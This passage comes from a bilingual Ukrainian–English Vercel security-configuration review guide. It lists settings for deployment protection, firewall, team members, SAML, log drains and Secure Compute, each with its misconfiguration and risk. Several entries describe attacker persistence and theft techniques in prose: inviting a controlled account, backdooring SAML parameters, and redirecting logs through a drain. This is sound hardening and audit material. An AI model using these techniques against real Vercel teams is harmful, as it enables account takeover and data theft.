- **Ризик:** Неавторизований доступ до ресурсів проекту, маніпуляція даними або збої в сервісах.
|
||||
- **Відсутність моніторингу інтеграцій**
|
||||
- **Неправильна конфігурація:** Невключення моніторингу та аудиту сторонніх інтеграцій.
|
||||
- **Ризик:** Затримка виявлення скомпрометованих інтеграцій, що збільшує потенційний вплив порушень безпеки.
|
||||
- **Insecure Third-Party Integrations**
|
||||
- **Misconfiguration:** Integrating with untrusted or insecure third-party services.
|
||||
- **Risk:** Introduction of vulnerabilities, data leaks, or backdoors through compromised integrations.
|
||||
- **Over-Permissioned Integrations**
|
||||
- **Misconfiguration:** Granting excessive permissions to integrated services.
|
||||
- **Risk:** Unauthorized access to project resources, data manipulation, or service disruptions.
|
||||
- **Lack of Integration Monitoring**
|
||||
- **Misconfiguration:** Failing to monitor and audit third-party integrations.
|
||||
- **Risk:** Delayed detection of compromised integrations, increasing the potential impact of security breaches.
|
||||
|
||||
---
|
||||
|
||||
### Захист розгортання
|
||||
### Deployment Protection
|
||||
|
||||
**Мета:** Забезпечити розгортання через різні механізми захисту, контролюючи, хто може отримати доступ і розгортати у ваших середовищах.
|
||||
**Purpose:** Secure deployments through various protection mechanisms, controlling who can access and deploy to your environments.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
**Аутентифікація Vercel**
|
||||
**Vercel Authentication**
|
||||
|
||||
- **Неправильна конфігурація:** Вимкнення аутентифікації або невиконання перевірок членів команди.
|
||||
- **Ризик:** Неавторизовані користувачі можуть отримати доступ до розгортань, що призводить до витоків даних або зловживання додатком.
|
||||
- **Misconfiguration:** Disabling authentication or not enforcing team member checks.
|
||||
- **Risk:** Unauthorized users can access deployments, leading to data breaches or application misuse.
|
||||
|
||||
**Обхід захисту для автоматизації**
|
||||
**Protection Bypass for Automation**
|
||||
|
||||
- **Неправильна конфігурація:** Публічне розкриття секрету обходу або використання слабких секретів.
|
||||
- **Ризик:** Зловмисники можуть обійти захист розгортання, отримуючи доступ до захищених розгортань і маніпулюючи ними.
|
||||
- **Misconfiguration:** Exposing the bypass secret publicly or using weak secrets.
|
||||
- **Risk:** Attackers can bypass deployment protections, accessing and manipulating protected deployments.
|
||||
|
||||
**Посилання для спільного використання**
|
||||
**Shareable Links**
|
||||
|
||||
- **Неправильна конфігурація:** Безсистемне розкриття посилань або невиконання відкликання застарілих посилань.
|
||||
- **Ризик:** Неавторизований доступ до захищених розгортань, обминаючи аутентифікацію та обмеження IP.
|
||||
- **Misconfiguration:** Sharing links indiscriminately or failing to revoke outdated links.
|
||||
- **Risk:** Unauthorized access to protected deployments, bypassing authentication and IP restrictions.
|
||||
|
||||
**OPTIONS Allowlist**
|
||||
|
||||
- **Неправильна конфігурація:** Надмірно широке дозволення шляхів або чутливих кінцевих точок.
|
||||
- **Ризик:** Зловмисники можуть використовувати незахищені шляхи для виконання неавторизованих дій або обходу перевірок безпеки.
|
||||
- **Misconfiguration:** Allowlisting overly broad paths or sensitive endpoints.
|
||||
- **Risk:** Attackers can exploit unprotected paths to perform unauthorized actions or bypass security checks.
|
||||
|
||||
**Захист паролем**
|
||||
**Password Protection**
|
||||
|
||||
- **Неправильна конфігурація:** Використання слабких паролів або їх ненадійне розкриття.
|
||||
- **Ризик:** Неавторизований доступ до розгортань, якщо паролі вгадуються або витікають.
|
||||
- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць.
|
||||
- **Misconfiguration:** Using weak passwords or sharing them insecurely.
|
||||
- **Risk:** Unauthorized access to deployments if passwords are guessed or leaked.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Виключення захисту розгортання**
|
||||
**Deployment Protection Exceptions**
|
||||
|
||||
- **Неправильна конфігурація:** Ненавмисне додавання доменів виробництва або чутливих до списку виключень.
|
||||
- **Ризик:** Витік критичних розгортань для публіки, що призводить до витоків даних або неавторизованого доступу.
|
||||
- **Примітка:** Доступно в плані **Pro** як частина **Розширеного захисту розгортання** за додаткові $150/місяць.
|
||||
- **Misconfiguration:** Adding production or sensitive domains to the exception list inadvertently.
|
||||
- **Risk:** Exposure of critical deployments to the public, leading to data leaks or unauthorized access.
|
||||
- **Note:** Available on the **Pro** plan as part of **Advanced Deployment Protection** for an additional $150/month.
|
||||
|
||||
**Довірені IP-адреси**
|
||||
**Trusted IPs**
|
||||
|
||||
- **Неправильна конфігурація:** Неправильне зазначення IP-адрес або діапазонів CIDR.
|
||||
- **Ризик:** Легітимні користувачі можуть бути заблоковані або неавторизовані IP можуть отримати доступ.
|
||||
- **Примітка:** Доступно в плані **Enterprise**.
|
||||
- **Misconfiguration:** Incorrectly specifying IP addresses or CIDR ranges.
|
||||
- **Risk:** Legitimate users being blocked or unauthorized IPs gaining access.
|
||||
- **Note:** Available on the **Enterprise** plan.
|
||||
|
||||
---
|
||||
|
||||
### Функції
|
||||
### Functions
|
||||
|
||||
**Мета:** Налаштувати безсерверні функції, включаючи налаштування середовища, виділення пам'яті та політики безпеки.
|
||||
**Purpose:** Configure serverless functions, including runtime settings, memory allocation, and security policies.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Нічого**
|
||||
- **Nothing**
|
||||
|
||||
---
|
||||
|
||||
### Кеш даних
|
||||
### Data Cache
|
||||
|
||||
**Мета:** Керувати стратегіями кешування та налаштуваннями для оптимізації продуктивності та контролю зберігання даних.
|
||||
**Purpose:** Manage caching strategies and settings to optimize performance and control data storage.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Очищення кешу**
|
||||
- **Неправильна конфігурація:** Дозволяє видалити весь кеш.
|
||||
- **Ризик:** Неавторизовані користувачі видаляють кеш, що може призвести до потенційного DoS.
|
||||
- **Purge Cache**
|
||||
- **Misconfiguration:** It allows to delete all the cache.
|
||||
- **Risk:** Unauthorized users deleting the cache leading to a potential DoS.
|
||||
|
||||
---
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
**Мета:** Запланувати автоматизовані завдання та скрипти для виконання через певні інтервали.
|
||||
**Purpose:** Schedule automated tasks and scripts to run at specified intervals.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Вимкнення Cron Job**
|
||||
- **Неправильна конфігурація:** Дозволяє вимкнути cron jobs, оголошені в коді
|
||||
- **Ризик:** Потенційне переривання служби (залежно від того, для чого призначалися cron jobs)
|
||||
- **Disable Cron Job**
|
||||
- **Misconfiguration:** It allows to disable cron jobs declared inside the code
|
||||
- **Risk:** Potential interruption of the service (depending on what the cron jobs were meant for)
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
**Мета:** Налаштувати зовнішні служби логування для захоплення та зберігання журналів додатків для моніторингу та аудиту.
|
||||
**Purpose:** Configure external logging services to capture and store application logs for monitoring and auditing.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- Нічого (керується з налаштувань команд)
|
||||
- Nothing (managed from teams settings)
|
||||
|
||||
---
|
||||
|
||||
### Безпека
|
||||
### Security
|
||||
|
||||
**Мета:** Центральний хаб для різних налаштувань безпеки, що впливають на доступ до проекту, захист джерела та інше.
|
||||
**Purpose:** Central hub for various security-related settings affecting project access, source protection, and more.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
**Журнали збірки та захист джерела**
|
||||
**Build Logs and Source Protection**
|
||||
|
||||
- **Неправильна конфігурація:** Вимкнення захисту або публічне розкриття шляхів `/logs` та `/src`.
|
||||
- **Ризик:** Неавторизований доступ до журналів збірки та вихідного коду, що призводить до витоків інформації та потенційної експлуатації вразливостей.
|
||||
- **Misconfiguration:** Disabling protection or exposing `/logs` and `/src` paths publicly.
|
||||
- **Risk:** Unauthorized access to build logs and source code, leading to information leaks and potential exploitation of vulnerabilities.
|
||||
|
||||
**Захист Git Fork**
|
||||
**Git Fork Protection**
|
||||
|
||||
- **Неправильна конфігурація:** Дозволяючи неавторизовані запити на витяг без належних перевірок.
|
||||
- **Ризик:** Зловмисний код може бути об'єднаний у кодову базу, вводячи вразливості або бекдори.
|
||||
- **Misconfiguration:** Allowing unauthorized pull requests without proper reviews.
|
||||
- **Risk:** Malicious code can be merged into the codebase, introducing vulnerabilities or backdoors.
|
||||
|
||||
**Безпечний доступ до бекенду з OIDC Federation**
|
||||
**Secure Backend Access with OIDC Federation**
|
||||
|
||||
- **Неправильна конфігурація:** Неправильне налаштування параметрів OIDC або використання ненадійних URL-адрес видавця.
|
||||
- **Ризик:** Неавторизований доступ до бекенд-сервісів через ненадійні потоки аутентифікації.
|
||||
- **Misconfiguration:** Incorrectly setting up OIDC parameters or using insecure issuer URLs.
|
||||
- **Risk:** Unauthorized access to backend services through flawed authentication flows.
|
||||
|
||||
**Політика збереження розгортання**
|
||||
**Deployment Retention Policy**
|
||||
|
||||
- **Неправильна конфігурація:** Встановлення занадто коротких (втрата історії розгортання) або занадто довгих (необхідне зберігання даних) періодів збереження.
|
||||
- **Ризик:** Нездатність виконати відкат, коли це необхідно, або підвищений ризик витоку даних з старих розгортань.
|
||||
- **Misconfiguration:** Setting retention periods too short (losing deployment history) or too long (unnecessary data retention).
|
||||
- **Risk:** Inability to perform rollbacks when needed or increased risk of data exposure from old deployments.
|
||||
|
||||
**Нещодавно видалені розгортання**
|
||||
**Recently Deleted Deployments**
|
||||
|
||||
- **Неправильна конфігурація:** Невиконання моніторингу видалених розгортань або покладання виключно на автоматичні видалення.
|
||||
- **Ризик:** Втрата критичної історії розгортання, що ускладнює аудити та відкат.
|
||||
- **Misconfiguration:** Not monitoring deleted deployments or relying solely on automated deletions.
|
||||
- **Risk:** Loss of critical deployment history, hindering audits and rollbacks.
|
||||
|
||||
---
|
||||
|
||||
### Розширений
|
||||
### Advanced
|
||||
|
||||
**Мета:** Доступ до додаткових налаштувань проекту для тонкого налаштування конфігурацій та підвищення безпеки.
|
||||
**Purpose:** Access to additional project settings for fine-tuning configurations and enhancing security.
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
**Список директорій**
|
||||
**Directory Listing**
|
||||
|
||||
- **Неправильна конфігурація:** Увімкнення списку директорій дозволяє користувачам переглядати вміст директорій без індексного файлу.
|
||||
- **Ризик:** Витік чутливих файлів, структури додатка та потенційних точок входу для атак.
|
||||
- **Misconfiguration:** Enabling directory listing allows users to view directory contents without an index file.
|
||||
- **Risk:** Exposure of sensitive files, application structure, and potential entry points for attacks.
|
||||
|
||||
---
|
||||
|
||||
## Брандмауер проекту
|
||||
## Project Firewall
|
||||
|
||||
### Брандмауер
|
||||
### Firewall
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
**Увімкнути режим виклику атаки**
|
||||
**Enable Attack Challenge Mode**
|
||||
|
||||
- **Неправильна конфігурація:** Увімкнення цього покращує захист веб-додатка від DoS, але за рахунок зручності використання
|
||||
- **Ризик:** Потенційні проблеми з досвідом користувача.
|
||||
- **Misconfiguration:** Enabling this improves the defenses of the web application against DoS but at the cost of usability
|
||||
- **Risk:** Potential user experience problems.
|
||||
|
||||
### Користувацькі правила та блокування IP
|
||||
### Custom Rules & IP Blocking
|
||||
|
||||
- **Неправильна конфігурація:** Дозволяє розблокувати/блокувати трафік
|
||||
- **Ризик:** Потенційний DoS, що дозволяє шкідливий трафік або блокує добрий трафік
|
||||
- **Misconfiguration:** Allows to unblock/block traffic
|
||||
- **Risk:** Potential DoS allowing malicious traffic or blocking benign traffic
|
||||
|
||||
---
|
||||
|
||||
## Розгортання проекту
|
||||
## Project Deployment
|
||||
|
||||
### Джерело
|
||||
### Source
|
||||
|
||||
- **Неправильна конфігурація:** Дозволяє доступ для читання повного вихідного коду додатка
|
||||
- **Ризик:** Потенційний витік чутливої інформації
|
||||
- **Misconfiguration:** Allows access to read the complete source code of the application
|
||||
- **Risk:** Potential exposure of sensitive information
|
||||
|
||||
### Захист від спотворення
|
||||
### Skew Protection
|
||||
|
||||
- **Неправильна конфігурація:** Цей захист забезпечує, щоб клієнт і серверний додаток завжди використовували одну й ту ж версію, щоб не було десинхронізації, коли клієнт використовує іншу версію, ніж сервер, і тому вони не розуміють один одного.
|
||||
- **Ризик:** Вимкнення цього (якщо увімкнено) може викликати проблеми з DoS у нових розгортаннях у майбутньому
|
||||
- **Misconfiguration:** This protection ensures the client and server application are always using the same version so there is no desynchronizations were the client uses a different version from the server and therefore they don't understand each other.
|
||||
- **Risk:** Disabling this (if enabled) could cause DoS problems in new deployments in the future
|
||||
|
||||
---
|
||||
|
||||
## Налаштування команди
|
||||
## Team Settings
|
||||
|
||||
### Загальні
|
||||
### General
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Передача**
|
||||
- **Неправильна конфігурація:** Дозволяє передавати всі проекти до іншої команди
|
||||
- **Ризик:** Зловмисник може вкрасти проекти
|
||||
- **Видалити проект**
|
||||
- **Неправильна конфігурація:** Дозволяє видалити команду з усіма проектами 
|
||||
- **Ризик:** Видалити проекти
|
||||
- **Transfer**
|
||||
- **Misconfiguration:** Allows to transfer all the projects to another team
|
||||
- **Risk:** An attacker could steal the projects
|
||||
- **Delete Project**
|
||||
- **Misconfiguration:** Allows to delete the team with all the projects
|
||||
- **Risk:** Delete the projects
|
||||
|
||||
---
|
||||
|
||||
### Білінг
|
||||
### Billing
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Обмеження витрат на Speed Insights**
|
||||
- **Неправильна конфігурація:** Зловмисник може збільшити це число
|
||||
- **Ризик:** Збільшення витрат
|
||||
- **Speed Insights Cost Limit**
|
||||
- **Misconfiguration:** An attacker could increase this number
|
||||
- **Risk:** Increased costs
|
||||
|
||||
---
|
||||
|
||||
### Члени
|
||||
### Members
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Додати членів**
|
||||
- **Неправильна конфігурація:** Зловмисник може підтримувати стійкість, запрошуючи обліковий запис, яким він керує
|
||||
- **Ризик:** Стійкість зловмисника
|
||||
- **Ролі**
|
||||
- **Неправильна конфігурація:** Надання занадто багатьох дозволів людям, яким це не потрібно, збільшує ризик конфігурації Vercel. Перевірте всі можливі ролі на [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Ризик**: Збільшення експозиції команди Vercel
|
||||
- **Add members**
|
||||
- **Misconfiguration:** An attacker could maintain persitence inviting an account he control
|
||||
- **Risk:** Attacker persistence
|
||||
- **Roles**
|
||||
- **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
|
||||
- **Risk**: Increate the exposure of the Vercel Team
|
||||
|
||||
---
|
||||
|
||||
### Групи доступу
|
||||
### Access Groups
|
||||
|
||||
**Група доступу** у Vercel - це колекція проектів та членів команди з попередньо визначеними призначеннями ролей, що дозволяє централізоване та спрощене управління доступом до кількох проектів.
|
||||
An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects.
|
||||
|
||||
**Потенційні неправильні конфігурації:**
|
||||
**Potential Misconfigurations:**
|
||||
|
||||
- **Надмірні дозволи членів:** Призначення ролей з більшою кількістю дозволів, ніж необхідно, що призводить до неавторизованого доступу або дій.
|
||||
- **Неправильні призначення ролей:** Неправильне призначення ролей, які не відповідають обов'язкам членів команди, що викликає ескалацію привілеїв.
|
||||
- **Відсутність сегрегації проектів:** Невиконання розділення чутливих проектів, що дозволяє більш широкий доступ, ніж передбачалося.
|
||||
- **Недостатнє управління групами:** Нерегулярний перегляд або оновлення груп доступу, що призводить до застарілих або невідповідних дозволів доступу.
|
||||
- **Непослідовні визначення ролей:** Використання непослідовних або неясних визначень ролей у різних групах доступу, що призводить до плутанини та прогалин у безпеці.
|
||||
- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions.
|
||||
- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation.
|
||||
- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended.
|
||||
- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions.
|
||||
- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps.
|
||||
|
||||
---
|
||||
|
||||
### Log Drains
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Log Drains для третіх сторін:**
|
||||
- **Неправильна конфігурація:** Зловмисник може налаштувати Log Drain для крадіжки журналів
|
||||
- **Ризик:** Часткова стійкість
|
||||
- **Log Drains to third parties:**
|
||||
- **Misconfiguration:** An attacker could configure a Log Drain to steal the logs
|
||||
- **Risk:** Partial persistence
|
||||
|
||||
---
|
||||
|
||||
### Безпека та конфіденційність
|
||||
### Security & Privacy
|
||||
|
||||
#### Конфігурації безпеки:
|
||||
#### Security Configurations:
|
||||
|
||||
- **Домен електронної пошти команди:** Коли налаштовано, це налаштування автоматично запрошує особисті облікові записи Vercel з адресами електронної пошти, що закінчуються на вказаному домені (наприклад, `mydomain.com`), приєднатися до вашої команди під час реєстрації та на панелі управління.
|
||||
- **Неправильна конфігурація:** 
|
||||
- Вказування неправильного домену електронної пошти або помилково написаного домену в налаштуванні домену електронної пошти команди.
|
||||
- Використання загального домену електронної пошти (наприклад, `gmail.com`, `hotmail.com`) замість домену, специфічного для компанії.
|
||||
- **Ризики:**
|
||||
- **Неавторизований доступ:** Користувачі з адресами електронної пошти з ненавмисних доменів можуть отримати запрошення приєднатися до вашої команди.
|
||||
- **Витік даних:** Потенційний витік чутливої інформації проекту для неавторизованих осіб.
|
||||
- **Захищені Git-обсяги:** Дозволяє вам додати до 5 Git-обсягів до вашої команди, щоб запобігти іншим командам Vercel від розгортання репозиторіїв з захищеного обсягу. Кілька команд можуть вказувати один і той же обсяг, що дозволяє обом командам отримати доступ.
|
||||
- **Неправильна конфігурація:** Невключення критичних Git-обсягів до захищеного списку.
|
||||
- **Ризики:**
|
||||
- **Неавторизовані розгортання:** Інші команди можуть розгортати репозиторії з обсягів Git вашої організації без авторизації.
|
||||
- **Витік інтелектуальної власності:** Програмний код може бути розгорнутий і доступний за межами вашої команди.
|
||||
- **Політики змінних середовища:** Встановлює політики для створення та редагування змінних середовища команди. Зокрема, ви можете вимагати, щоб усі змінні середовища створювалися як **Чутливі змінні середовища**, які можуть бути розшифровані лише системою розгортання Vercel.
|
||||
- **Неправильна конфігурація:** Залишення вимоги чутливих змінних середовища вимкненою.
|
||||
- **Ризики:**
|
||||
- **Витік секретів:** Змінні середовища можуть бути переглянуті або відредаговані неавторизованими членами команди.
|
||||
- **Витік даних:** Чутлива інформація, така як API ключі та облікові дані, може бути витікана.
|
||||
- **Журнал аудиту:** Надає експорт активності команди за останні 90 днів. Журнали аудиту допомагають у моніторингу та відстеженні дій, виконаних членами команди.
|
||||
- **Неправильна конфігурація:**\
|
||||
Надання доступу до журналів аудиту неавторизованим членам команди.
|
||||
- **Ризики:**
|
||||
- **Порушення конфіденційності:** Витік чутливих дій та даних користувачів.
|
||||
- **Підробка журналів:** Зловмисники можуть змінювати або видаляти журнали, щоб приховати свої сліди.
|
||||
- **SAML Single Sign-On:** Дозволяє налаштування аутентифікації SAML та синхронізації каталогів для вашої команди, що дозволяє інтеграцію з постачальником ідентичності (IdP) для централізованої аутентифікації та управління користувачами.
|
||||
- **Неправильна конфігурація:** Зловмисник може створити бекдор у налаштуванні команди, налаштовуючи параметри SAML, такі як ID сутності, URL-адреса SSO або відбитки сертифікатів.
|
||||
- **Ризик:** Підтримка стійкості
|
||||
- **Видимість IP-адрес:** Контролює, чи відображаються IP-адреси, які можуть вважатися особистою інформацією відповідно до певних законів про захист даних, у запитах моніторингу та Log Drains.
|
||||
- **Неправильна конфігурація:** Залишення видимості IP-адрес увімкненою без необхідності.
|
||||
- **Ризики:**
|
||||
- **Порушення конфіденційності:** Невиконання вимог законодавства про захист даних, таких як GDPR.
|
||||
- **Юридичні наслідки:** Потенційні штрафи та покарання за неналежне оброблення особистих даних.
|
||||
- **Блокування IP:** Дозволяє налаштування IP-адрес та діапазонів CIDR, з яких Vercel має блокувати запити. Заблоковані запити не впливають на ваше білінг.
|
||||
- **Неправильна конфігурація:** Може бути зловмисно використана зловмисником для дозволу шкідливого трафіку або блокування легітимного трафіку.
|
||||
- **Ризики:**
|
||||
- **Відмова в обслуговуванні легітимним користувачам:** Блокування доступу для дійсних користувачів або партнерів.
|
||||
- **Операційні збої:** Втрата доступності послуг для певних регіонів або клієнтів.
|
||||
- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard.
|
||||
- **Misconfiguration:**
|
||||
- Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting.
|
||||
- Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain.
|
||||
- **Risks:**
|
||||
- **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team.
|
||||
- **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals.
|
||||
- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access.
|
||||
- **Misconfiguration:** Not adding critical Git scopes to the protected list.
|
||||
- **Risks:**
|
||||
- **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization.
|
||||
- **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team.
|
||||
- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system.
|
||||
- **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled.
|
||||
- **Risks:**
|
||||
- **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members.
|
||||
- **Data Breach:** Sensitive information like API keys and credentials could be leaked.
|
||||
- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members.
|
||||
- **Misconfiguration:**\
|
||||
Granting access to audit logs to unauthorized team members.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Exposure of sensitive user activities and data.
|
||||
- **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks.
|
||||
- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management.
|
||||
- **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints.
|
||||
- **Risk:** Maintain persistence
|
||||
- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains.
|
||||
- **Misconfiguration:** Leaving IP address visibility enabled without necessity.
|
||||
- **Risks:**
|
||||
- **Privacy Violations:** Non-compliance with data protection regulations like GDPR.
|
||||
- **Legal Repercussions:** Potential fines and penalties for mishandling personal data.
|
||||
- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing.
|
||||
- **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic.
|
||||
- **Risks:**
|
||||
- **Service Denial to Legitimate Users:** Blocking access for valid users or partners.
|
||||
- **Operational Disruptions:** Loss of service availability for certain regions or clients.
|
||||
|
||||
---
|
||||
|
||||
### Secure Compute
|
||||
|
||||
**Vercel Secure Compute** забезпечує безпечні, приватні з'єднання між функціями Vercel та бекенд-середовищами (наприклад, базами даних), створюючи ізольовані мережі з виділеними IP-адресами. Це усуває необхідність публічного розкриття бекенд-сервісів, підвищуючи безпеку, відповідність та конфіденційність.
|
||||
**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy.
|
||||
|
||||
#### **Потенційні неправильні конфігурації та ризики**
|
||||
#### **Potential Misconfigurations and Risks**
|
||||
|
||||
1. **Неправильний вибір регіону AWS**
|
||||
- **Неправильна конфігурація:** Вибір регіону AWS для мережі Secure Compute, який не відповідає регіону бекенд-сервісів.
|
||||
- **Ризик:** Збільшена затримка, потенційні проблеми з відповідністю резидентності даних та зниження продуктивності.
|
||||
2. **Перекриваючі CIDR блоки**
|
||||
- **Неправильна конфігурація:** Вибір CIDR блоків, які перекриваються з існуючими VPC або іншими мережами.
|
||||
- **Ризик:** Конфлікти мережі, що призводять до невдалих з'єднань, неавторизованого доступу або витоку даних між мережами.
|
||||
3. **Неправильна конфігурація VPC Peering**
|
||||
- **Неправильна конфігурація:** Неправильне налаштування VPC peering (наприклад, неправильні ID VPC, неповні оновлення таблиць маршрутів).
|
||||
- **Ризик:** Неавторизований доступ до інфраструктури бекенду, невдалі безпечні з'єднання та потенційні витоки даних.
|
||||
4. **Надмірні призначення проектів**
|
||||
- **Неправильна конфігурація:** Призначення кількох проектів до однієї мережі Secure Compute без належної ізоляції.
|
||||
- **Ризик:** Спільна експозиція IP збільшує поверхню атаки, потенційно дозволяючи скомпрометованим проектам впливати на інші.
|
||||
5. **Недостатнє управління IP-адресами**
|
||||
- **Неправильна конфігурація:** Невиконання управління або ротації виділених IP-адрес належним чином.
|
||||
- **Ризик:** Підробка IP, вразливості для відстеження та потенційне занесення до чорного списку, якщо IP пов'язані зі шкідливою діяльністю.
|
||||
6. **Неправильне включення контейнерів збірки**
|
||||
- **Неправильна конфігурація:** Додавання контейнерів збірки до мережі Secure Compute, коли доступ до бекенду не потрібен під час збірок.
|
||||
- **Ризик:** Розширена поверхня атаки, збільшені затримки при наданні та неналежне споживання мережевих ресурсів.
|
||||
7. **Невиконання безпечного оброблення секретів обходу**
|
||||
- **Неправильна конфігурація:** Витік або неналежне оброблення секретів, що використовуються для обходу захисту розгортання.
|
||||
- **Ризик:** Неавторизований доступ до захищених розгортань, що дозволяє зловмисникам маніпулювати або розгортати шкідливий код.
|
||||
8. **Ігнорування налаштувань резервування регіону**
|
||||
- **Неправильна конфігурація:** Невиконання налаштування пасивних регіонів резервування або неправильне налаштування параметрів резервування.
|
||||
- **Ризик:** Перерви в обслуговуванні під час відмови основного регіону, що призводить до зниження доступності та потенційної несумісності даних.
|
||||
9. **Перевищення лімітів з'єднань VPC Peering**
|
||||
- **Неправильна конфігурація:** Спроба встановити більше з'єднань VPC peering, ніж дозволено (наприклад, перевищення 50 з'єднань).
|
||||
- **Ризик:** Нездатність безпечно підключити необхідні бекенд-сервіси, що викликає збої в розгортанні та операційні збої.
|
||||
10. **Небезпечні налаштування мережі**
|
||||
- **Неправильна конфігурація:** Слабкі правила брандмауера, відсутність шифрування або неналежна сегментація мережі в межах мережі Secure Compute.
|
||||
- **Ризик:** Перехоплення даних, неавторизований доступ до бекенд-сервісів та підвищена вразливість до атак.
|
||||
1. **Incorrect AWS Region Selection**
|
||||
- **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region.
|
||||
- **Risk:** Increased latency, potential data residency compliance issues, and degraded performance.
|
||||
2. **Overlapping CIDR Blocks**
|
||||
- **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks.
|
||||
- **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks.
|
||||
3. **Improper VPC Peering Configuration**
|
||||
- **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates).
|
||||
- **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches.
|
||||
4. **Excessive Project Assignments**
|
||||
- **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation.
|
||||
- **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others.
|
||||
5. **Inadequate IP Address Management**
|
||||
- **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately.
|
||||
- **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities.
|
||||
6. **Including Build Containers Unnecessarily**
|
||||
- **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds.
|
||||
- **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources.
|
||||
7. **Failure to Securely Handle Bypass Secrets**
|
||||
- **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections.
|
||||
- **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code.
|
||||
8. **Ignoring Region Failover Configurations**
|
||||
- **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings.
|
||||
- **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency.
|
||||
9. **Exceeding VPC Peering Connection Limits**
|
||||
- **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections).
|
||||
- **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions.
|
||||
10. **Insecure Network Settings**
|
||||
- **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network.
|
||||
- **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks.
|
||||
|
||||
---
|
||||
|
||||
### Змінні середовища
|
||||
### Environment Variables
|
||||
|
||||
